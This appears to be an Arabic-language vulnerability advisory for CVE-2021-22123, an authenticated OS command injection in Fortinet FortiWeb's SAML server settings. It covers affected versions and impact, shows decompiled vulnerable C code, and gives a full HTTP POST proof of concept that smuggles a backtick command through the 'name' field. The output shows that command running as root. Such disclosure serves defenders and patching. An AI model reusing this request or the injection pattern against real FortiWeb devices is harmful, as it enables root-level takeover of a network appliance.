
[CVE-2021-22123] حقن أوامر نظام التشغيل بعد المصادقة في Fortinet FortiWeb
[CVE-2021-22123] حقن أوامر نظام التشغيل بعد المصادقة في Fortinet FortiWeb
Hit Counter
قد تسمح ثغرة حقن الأوامر في واجهة إدارة FortiWeb لمهاجم عن بُعد مُصادَق عليه بتنفيذ أوامر عشوائية في النظام عبر صفحة إعداد خادم SAML. سيؤدي تنفيذ الأوامر بصلاحيات قصوى إلى تمكين المهاجم من السيطرة الكاملة على الخادم. هذه الحالة هي مثال على CWE-78: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل ولها درجة أساسية 8.7 وفق معيار CVSSv3. تحمل هذه الثغرة الرقم CVE-2021-22123، وقد تمت معالجتها في صفحة مختبر FortiGuard (FG-IR-20-120).
بشكل أساسي، SAML هي اختصار لـ Security Assertion Markup Language وهي معيار مفتوح قائم على XML لنقل بيانات الهوية بين طرفين: موفّر الهوية (IdP) وموفّر الخدمة (SP). وهي مصممة لضمان عمل آلية تسجيل الدخول الموحّد (Single Sign-On)، والتي تتيح لك الوصول إلى منتجات برمجية متنوعة باستخدام معرّف واحد.
تُعد FortiWeb بجميع الإصدارات الأقدم من 6.3.7 وما دونها عرضة لثغرة حقن أوامر نظام التشغيل المُصادَق عليها. قد يؤدي استغلال هذه الثغرة بنجاح إلى السيطرة الكاملة على الجهاز المتأثر بأعلى الصلاحيات الممكنة. وقد يقوم المهاجمون بتثبيت شِل دائم أو برامج تعدين العملات المشفرة أو غيرها من البرمجيات الخبيثة. وفي حال نادرة تعرّض واجهة الإدارة للإنترنت، يمكنهم استخدام المنصة المخترقة للوصول إلى الشبكة المتأثرة خلف منطقة DMZ.
يمكن للمهاجم، الذي تمت مصادقته أولاً على واجهة إدارة جهاز FortiWeb، تهريب الأوامر باستخدام علامات backticks في حقل name بصفحة إعداد خادم SAML. تُنفَّذ هذه الأوامر بعد ذلك بصلاحيات مستخدم root لنظام التشغيل الأساسي. الجزء المعرّض للثغرة من الكود موضّح أدناه.
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
إثبات المفهوم (PoC): يمكن استخدام طلب POST التالي لاستغلال هذه الثغرة.
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
أخيرًا، يمكن رؤية نتائج أمر 'touch' على سطر الأوامر المحلي لجهاز FortiWeb
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
المراجع: